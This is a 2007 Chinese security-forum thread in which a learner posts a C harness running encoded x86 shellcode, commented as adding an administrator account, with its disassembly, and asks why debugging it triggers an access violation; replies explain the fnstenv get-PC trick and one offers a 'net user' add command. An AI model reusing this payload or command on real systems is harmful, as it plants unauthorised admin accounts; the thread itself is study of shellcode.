首页
社区
课程
招聘
[求助]调试shellcode遇到的问题
2007-10-17 16:25 4454

[求助]调试shellcode遇到的问题

2007-10-17 16:25
4454
#include<stdio.h>
int main()
{

char scode[]=
"\x2b\xc9\x83\xe9\xc9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x05"
"\x02\x23\x0a\x83\xeb\xfc\xe2\xf4\xf9\xea\x67\x0a\x05\x02\xa8\x4f"
"\x39\x89\x5f\x0f\x7d\x03\xcc\x81\x4a\x1a\xa8\x55\x25\x03\xc8\x43"
"\x8e\x36\xa8\x0b\xeb\x33\xe3\x93\xa9\x86\xe3\x7e\x02\xc3\xe9\x07"
"\x04\xc0\xc8\xfe\x3e\x56\x07\x0e\x70\xe7\xa8\x55\x21\x03\xc8\x6c"
"\x8e\x0e\x68\x81\x5a\x1e\x22\xe1\x8e\x1e\xa8\x0b\xee\x8b\x7f\x2e"
"\x01\xc1\x12\xca\x61\x89\x63\x3a\x80\xc2\x5b\x06\x8e\x42\x2f\x81"
"\x75\x1e\x8e\x81\x6d\x0a\xc8\x03\x8e\x82\x93\x0a\x05\x02\xa8\x62"
"\x39\x5d\x12\xfc\x65\x54\xaa\xf2\x86\xc2\x58\x5a\x6d\xed\xed\xea"
"\x65\x6a\xbb\xf4\x8f\x0c\x74\xf5\xe2\x61\x4e\x6e\x2b\x67\x5b\x6f"
"\x25\x2d\x40\x2a\x6b\x67\x57\x2a\x70\x71\x46\x78\x25\x71\x46\x69"
"\x70\x70\x4a\x7e\x7c\x22\x50\x6f\x66\x77\x51\x63\x71\x7b\x03\x25"
"\x44\x46\x67\x2a\x23\x24\x03\x64\x60\x76\x03\x66\x6a\x61\x42\x66"
"\x62\x70\x4c\x7f\x75\x22\x62\x6e\x68\x6b\x4d\x63\x76\x76\x51\x6b"
"\x71\x6d\x51\x79\x25\x71\x46\x69\x70\x70\x4a\x7e\x7c\x22\x0c\x4b"
"\x41\x46\x23\x0a";        //add admin 's code

_asm
{
        lea eax,scode
        jmp eax
}

        return 1;
}

最近在学习缓冲区益处,本来是怀疑此shellcode的功能,故想单独拿出来在vc++6.0里调试,
编译运行成功添加帐户,但是当我调试时跟进到shellcode中后,此时的代码贴上:

0012FE88 2B C9                sub         ecx,ecx
0012FE8A 83 E9 C9             sub         ecx,0C9h
0012FE8D D9 EE                fldz
0012FE8F D9 74 24 F4          fnstenv     [esp-0Ch]
0012FE93 5B                   pop         ebx
0012FE94 81 73 13 05 02 23 0A xor         dword ptr [ebx+13h],0A230205h
0012FE9B 83 EB FC             sub         ebx,0FCh
0012FE9E E2 F4                loop        0012FE94
0012FEA0 F9                   stc
0012FEA1 EA 67 0A 05 02 A8 4F jmp         4FA8:02050A67
0012FEA8 39 89 5F 0F 7D 03    cmp         dword ptr [ecx+37D0F5Fh],ecx
0012FEAE CC                   int         3
0012FEAF 81 4A 1A A8 55 25 03 or          dword ptr [edx+1Ah],32555A8h
0012FEB6 C8 43 8E 36          enter       8E43h,36h
0012FEBA A8 0B                test        al,0Bh
0012FEBC EB 33                jmp         0012FEF1
0012FEBE E3 93                jecxz       0012FE53
0012FEC0 A9 86 E3 7E 02       test        eax,27EE386h
0012FEC5 C3                   ret
0012FEC6 E9 07 04 C0 C8       jmp         C8D302D2
0012FECB FE                   ???
0012FECC 3E 56                push        esi
0012FECE 07                   pop         es
0012FECF 0E                   push        cs
0012FED0 70 E7                jo          0012FEB9
0012FED2 A8 55                test        al,55h
0012FED4 21 03                and         dword ptr [ebx],eax
0012FED6 C8 6C 8E 0E          enter       8E6Ch,0Eh
0012FEDA 68 81 5A 1E 22       push        221E5A81h
0012FEDF E1 8E                loope       0012FE6F
0012FEE1 1E                   push        ds
0012FEE2 A8 0B                test        al,0Bh
0012FEE4 EE                   out         dx,al
0012FEE5 8B 7F 2E             mov         edi,dword ptr [edi+2Eh]
0012FEE8 01 C1                add         ecx,eax
0012FEEA 12 CA                adc         cl,dl
0012FEEC 61                   popad
0012FEED 89 63 3A             mov         dword ptr [ebx+3Ah],esp
0012FEF0 80 C2 5B             add         dl,5Bh
0012FEF3 06                   push        es
0012FEF4 8E 42 2F             mov         es,word ptr [edx+2Fh]
0012FEF7 81 75 1E 8E 81 6D 0A xor         dword ptr [ebp+1Eh],0A6D818Eh
0012FEFE C8 03 8E 82          enter       8E03h,82h
0012FF02 93                   xchg        eax,ebx
0012FF03 0A 05 02 A8 62 39    or          al,byte ptr ds:[3962A802h]
0012FF09 5D                   pop         ebp
0012FF0A 12 FC                adc         bh,ah
0012FF0C 65 54                push        esp
0012FF0E AA                   stos        byte ptr [edi]
0012FF0F F2 86 C2             repne xchg  al,dl
0012FF12 58                   pop         eax
0012FF13 5A                   pop         edx
0012FF14 6D                   ins         dword ptr [edi],dx
0012FF15 ED                   in          eax,dx
0012FF16 ED                   in          eax,dx
0012FF17 EA 65 6A BB F4 8F 0C jmp         0C8F:F4BB6A65
0012FF1E 74 F5                je          0012FF15
0012FF20 E2 61                loop        0012FF83
0012FF22 4E                   dec         esi
0012FF23 6E                   outs        dx,byte ptr [esi]
0012FF24 2B 67 5B             sub         esp,dword ptr [edi+5Bh]
0012FF27 6F                   outs        dx,dword ptr [esi]
0012FF28 25 2D 40 2A 6B       and         eax,6B2A402Dh
0012FF2D 67 57                push        edi
0012FF2F 2A 70 71             sub         dh,byte ptr [eax+71h]
0012FF32 46                   inc         esi
0012FF33 78 25                js          0012FF5A
0012FF35 71 46                jno         0012FF7D
0012FF37 69 70 70 4A 7E 7C 22 imul        esi,dword ptr

[eax+70h],227C7E4Ah
0012FF3E 50                   push        eax
0012FF3F 6F                   outs        dx,dword ptr [esi]
0012FF40 66 77 51             ja          0000FF94
0012FF43 63 71 7B             arpl        word ptr [ecx+7Bh],si
0012FF46 03 25 44 46 67 2A    add         esp,dword ptr ds:[2A674644h]
0012FF4C 23 24 03             and         esp,dword ptr [ebx+eax]
0012FF4F 64 60                pushad
0012FF51 76 03                jbe         0012FF56
0012FF53 66 6A 61             push        61h
0012FF56 42                   inc         edx
0012FF57 66 62 70 4C          bound       si,dword ptr [eax+4Ch]
0012FF5B 7F 75                jg          0012FFD2
0012FF5D 22 62 6E             and         ah,byte ptr [edx+6Eh]
0012FF60 68 6B 4D 63 76       push        76634D6Bh
0012FF65 76 51                jbe         0012FFB8
0012FF67 6B 71 6D 51          imul        esi,dword ptr [ecx+6Dh],51h
0012FF6B 79 25                jns         0012FF92
0012FF6D 71 46                jno         0012FFB5
0012FF6F 69 70 70 4A 7E 7C 22 imul        esi,dword ptr

[eax+70h],227C7E4Ah
0012FF76 0C 4B                or          al,4Bh
0012FF78 41                   inc         ecx
0012FF79 46                   inc         esi
0012FF7A 23 0A                and         ecx,dword ptr [edx]

大家注意看 标明的地方,F10单步到这里时会弹出:
Unhandled exception in shell.exe:0X00000005:Access Violation
对话筐,程序便终止到这里,不能继续调试。
小弟不解:
1.为何运行正常,但调试时却抱错?
2.0X00000005这个到底是个什么地址呢?

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (11)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
魔幻水晶 2007-10-18 03:03
2
0
有的時候shellcode就是愛玩這個。

不能處理shell.exe:0X00000005使用違規,調試的時候有監視的原因?還是說調試的時候權限?shell.exe……

我也是新手,我猜的……哪位老大知道說一下撒,我也想知道……遇到過N次了,不知道自己猜的對不對……
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
思弦 2007-10-18 10:09
3
0
从我问世,但现在从来看到过0X00000005这种异常码,只见过0XC0000005

没仔细看你的代码,见到下面两行代码,我就怕了,偶目前不懂它什么意思
0012FE8D D9 EE                fldz
0012FE8F D9 74 24 F4          fnstenv     [esp-0Ch]

VC调试器对异常支持不好,你可以用OD这类调试器试试
雪    币: 6073
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 26 2007-10-18 11:10
4
0
fnstenv   取 0012FE8D
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hengking 2007-10-18 11:30
5
0
类似
call XXX;
XXX:
pop

这样的功能吧
雪    币: 7338
活跃值: (2663)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2007-10-18 11:39
6
0
我的机器上没问题
雪    币: 171
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
高亮 2007-10-18 17:36
7
0
当跟进shellcode内调试时会出现问题;)

od调试结果也和vc一样出现相同问题 .....

期待牛牛们能真正的调一下此shellcode.....

忘记说了:
这个shellcode是加用户的
调试结束后记得删掉该帐户.....
雪    币: 194
活跃值: (96)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
aj3423 2 2007-10-18 19:33
8
0
哪里找来的shellcode。。他的shellcode可能是针对他的程序的。。花这点时间还不如自己重写一个。。创建账户也就调用一两个api吧。。实在不行顶多也就system("cmd /c net user add username")。。
雪    币: 171
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
高亮 2007-10-20 17:54
9
0
说过了
shellcode没问题的....
雪    币: 171
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
高亮 2007-10-22 21:14
10
0
被gyzy一句话搞定了 :)

shellcode在执行中被多次破坏
1._chkesp
2.fnstenv......
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
idlerfang 2007-12-8 12:28
11
0
这种手段比call要隐晦一点
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lOOp 2007-12-8 13:40
12
0
  哦。。。。。
游客
登录 | 注册 方可回帖
返回